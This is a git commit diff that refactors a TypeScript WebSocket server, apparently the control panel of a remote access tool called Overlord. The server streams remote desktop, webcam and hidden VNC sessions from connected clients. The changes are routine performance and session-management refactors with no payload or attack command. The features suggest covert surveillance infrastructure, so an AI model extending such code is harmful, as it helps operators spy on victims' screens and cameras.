big server optimizations
This commit is contained in:
@@ -1,9 +1,7 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { AuditAction, getAuditLogs, logAudit } from "../../auditLog";
|
||||
import { getConfig, updateSecurityConfig, updateTlsConfig } from "../../config";
|
||||
import { listClients } from "../../db";
|
||||
import { logger } from "../../logger";
|
||||
import { getClientMetricsSummary } from "../../db";
|
||||
import { metrics } from "../../metrics";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import { runCertbotSetup } from "../certbot-setup";
|
||||
@@ -34,40 +32,12 @@ export async function handleMiscRoutes(
|
||||
|
||||
const snapshot = metrics.getSnapshot();
|
||||
|
||||
const clientList = listClients({ page: 1, pageSize: 10000, search: "", sort: "last_seen_desc" });
|
||||
logger.debug(
|
||||
`[metrics] Database reports: total=${clientList.total}, online=${clientList.online}, items=${clientList.items.length}`,
|
||||
);
|
||||
logger.debug(`[metrics] In-memory clients map size: ${clientManager.getClientCount()}`);
|
||||
|
||||
snapshot.clients.total = clientList.total;
|
||||
snapshot.clients.online = clientList.online;
|
||||
snapshot.clients.offline = clientList.total - clientList.online;
|
||||
|
||||
const byOS: Record<string, number> = {};
|
||||
const byCountry: Record<string, number> = {};
|
||||
const byOSOnline: Record<string, number> = {};
|
||||
const byCountryOnline: Record<string, number> = {};
|
||||
let onlineCounted = 0;
|
||||
const totalItems = clientList.items.length;
|
||||
for (const item of clientList.items) {
|
||||
if (item.os) {
|
||||
byOS[item.os] = (byOS[item.os] || 0) + 1;
|
||||
}
|
||||
if (item.country) {
|
||||
byCountry[item.country] = (byCountry[item.country] || 0) + 1;
|
||||
}
|
||||
if (!item.online) continue;
|
||||
onlineCounted++;
|
||||
if (item.os) {
|
||||
byOSOnline[item.os] = (byOSOnline[item.os] || 0) + 1;
|
||||
}
|
||||
if (item.country) {
|
||||
byCountryOnline[item.country] = (byCountryOnline[item.country] || 0) + 1;
|
||||
}
|
||||
}
|
||||
snapshot.clients.byOS = byOS;
|
||||
snapshot.clients.byCountry = byCountry;
|
||||
const clientSummary = getClientMetricsSummary();
|
||||
snapshot.clients.total = clientSummary.total;
|
||||
snapshot.clients.online = clientSummary.online;
|
||||
snapshot.clients.offline = clientSummary.total - clientSummary.online;
|
||||
snapshot.clients.byOS = clientSummary.byOS;
|
||||
snapshot.clients.byCountry = clientSummary.byCountry;
|
||||
|
||||
snapshot.sessions.console = deps.getConsoleSessionCount();
|
||||
snapshot.sessions.remoteDesktop = deps.getRdSessionCount();
|
||||
|
||||
@@ -9,7 +9,7 @@ import { decodeMessage, encodeMessage, type WireMessage } from "../../protocol";
|
||||
import * as sessionManager from "../../sessions/sessionManager";
|
||||
import type { SocketData } from "../../sessions/types";
|
||||
import type { ClientInfo } from "../../types";
|
||||
import { handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
|
||||
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
|
||||
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
|
||||
|
||||
type PendingScript = {
|
||||
@@ -326,12 +326,12 @@ export function handleWebSocketClose(
|
||||
for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) {
|
||||
if (sess.viewer === ws) {
|
||||
removedClientId = sess.clientId;
|
||||
sessionManager.getAllRdSessions().delete(sid);
|
||||
sessionManager.deleteRdSession(sid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
const stillViewing = Array.from(sessionManager.getAllRdSessions().values()).some((s) => s.clientId === removedClientId);
|
||||
const stillViewing = sessionManager.hasRdSessionsForClient(removedClientId);
|
||||
if (!stillViewing) {
|
||||
const target = clientManager.getClient(removedClientId);
|
||||
deps.sendDesktopCommand(target, "desktop_stop", {});
|
||||
@@ -346,12 +346,12 @@ export function handleWebSocketClose(
|
||||
for (const [sid, sess] of sessionManager.getAllWebcamSessions().entries()) {
|
||||
if (sess.viewer === ws) {
|
||||
removedClientId = sess.clientId;
|
||||
sessionManager.getAllWebcamSessions().delete(sid);
|
||||
sessionManager.deleteWebcamSession(sid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
const stillViewing = Array.from(sessionManager.getAllWebcamSessions().values()).some((s) => s.clientId === removedClientId);
|
||||
const stillViewing = sessionManager.hasWebcamSessionsForClient(removedClientId);
|
||||
if (!stillViewing) {
|
||||
const target = clientManager.getClient(removedClientId);
|
||||
deps.sendDesktopCommand(target, "webcam_stop", {});
|
||||
@@ -366,12 +366,12 @@ export function handleWebSocketClose(
|
||||
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
|
||||
if (sess.viewer === ws) {
|
||||
removedClientId = sess.clientId;
|
||||
sessionManager.getAllHvncSessions().delete(sid);
|
||||
sessionManager.deleteHvncSession(sid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
const stillViewing = Array.from(sessionManager.getAllHvncSessions().values()).some((s) => s.clientId === removedClientId);
|
||||
const stillViewing = sessionManager.hasHvncSessionsForClient(removedClientId);
|
||||
if (!stillViewing) {
|
||||
const target = clientManager.getClient(removedClientId);
|
||||
if (target) {
|
||||
@@ -424,6 +424,7 @@ export function handleWebSocketClose(
|
||||
}
|
||||
|
||||
clientManager.deleteClient(clientId);
|
||||
clearClientSyncState(clientId);
|
||||
deps.notifyConsoleClosed(clientId, "Client disconnected");
|
||||
setOnlineState(clientId, false);
|
||||
deps.clearPendingNotificationScreenshots(clientId);
|
||||
|
||||
@@ -27,8 +27,12 @@ export function createWebSocketRuntime<TLifecycleDeps>(deps: {
|
||||
handleWebSocketMessage: MessageHandler<TLifecycleDeps>;
|
||||
handleWebSocketClose: CloseHandler<TLifecycleDeps>;
|
||||
}) {
|
||||
const wsDeflateEnabled = String(process.env.OVERLORD_WS_PERMESSAGE_DEFLATE || "true")
|
||||
.trim()
|
||||
.toLowerCase() !== "false";
|
||||
|
||||
return {
|
||||
perMessageDeflate: true,
|
||||
perMessageDeflate: wsDeflateEnabled,
|
||||
maxPayloadLength: Math.max(deps.maxClientPayloadBytes, deps.maxViewerPayloadBytes),
|
||||
idleTimeout: 255,
|
||||
sendPings: true,
|
||||
|
||||
@@ -94,8 +94,7 @@ export function notifyRdInputLatency(commandId: string) {
|
||||
rdInputPending.delete(commandId);
|
||||
|
||||
const ms = Date.now() - pending.sentAt;
|
||||
for (const session of sessionManager.getAllRdSessions().values()) {
|
||||
if (session.clientId !== pending.clientId) continue;
|
||||
for (const session of sessionManager.getRdSessionsForClient(pending.clientId)) {
|
||||
safeSendViewer(session.viewer, { type: "input_latency", ms, kind: pending.kind, commandId });
|
||||
}
|
||||
}
|
||||
@@ -188,7 +187,7 @@ export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const sessionId = uuidv4();
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.getAllRdSessions().set(sessionId, session);
|
||||
sessionManager.addRdSession(session);
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
@@ -198,8 +197,7 @@ export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
}
|
||||
|
||||
export function notifyRemoteDesktopStatus(clientId: string, status: string, reason?: string) {
|
||||
for (const session of sessionManager.getAllRdSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "status",
|
||||
status,
|
||||
@@ -357,8 +355,7 @@ function handleRemoteDesktopFrame(payload: any) {
|
||||
if (!state.isStreaming) {
|
||||
rdStreamingState.set(clientId, { ...state, isStreaming: true });
|
||||
}
|
||||
for (const session of sessionManager.getAllRdSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
|
||||
const sentBytes = safeSendViewerFrame(session.viewer, bytes, header);
|
||||
const t1 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
|
||||
rdSendStats.frames += 1;
|
||||
@@ -371,8 +368,7 @@ function handleRemoteDesktopFrame(payload: any) {
|
||||
(globalThis as any).__rdBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||
let sent = false;
|
||||
const t0 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
|
||||
for (const session of sessionManager.getAllRdSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
|
||||
const sentBytes = safeSendViewerFrame(session.viewer, bytes, header);
|
||||
const t1 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
|
||||
rdSendStats.frames += 1;
|
||||
@@ -392,7 +388,7 @@ export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const sessionId = uuidv4();
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.getAllWebcamSessions().set(sessionId, session);
|
||||
sessionManager.addWebcamSession(session);
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
@@ -403,8 +399,7 @@ export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
}
|
||||
|
||||
export function handleWebcamDevices(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getAllWebcamSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
for (const session of sessionManager.getWebcamSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, payload);
|
||||
}
|
||||
}
|
||||
@@ -471,7 +466,7 @@ export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const sessionId = uuidv4();
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.getAllHvncSessions().set(sessionId, session);
|
||||
sessionManager.addHvncSession(session);
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
@@ -481,8 +476,7 @@ export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
}
|
||||
|
||||
function notifyHVNCStatus(clientId: string, status: string, reason?: string) {
|
||||
for (const session of sessionManager.getAllHvncSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "status",
|
||||
status,
|
||||
@@ -598,8 +592,7 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload
|
||||
|
||||
(globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||
let sent = false;
|
||||
for (const session of sessionManager.getAllHvncSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
safeSendViewerFrame(session.viewer, bytes, header);
|
||||
sent = true;
|
||||
}
|
||||
@@ -608,8 +601,7 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload
|
||||
|
||||
(globalThis as any).__webcamBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||
let sent = false;
|
||||
for (const session of sessionManager.getAllWebcamSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
for (const session of sessionManager.getWebcamSessionsForClient(clientId)) {
|
||||
safeSendViewerFrame(session.viewer, bytes, header);
|
||||
sent = true;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user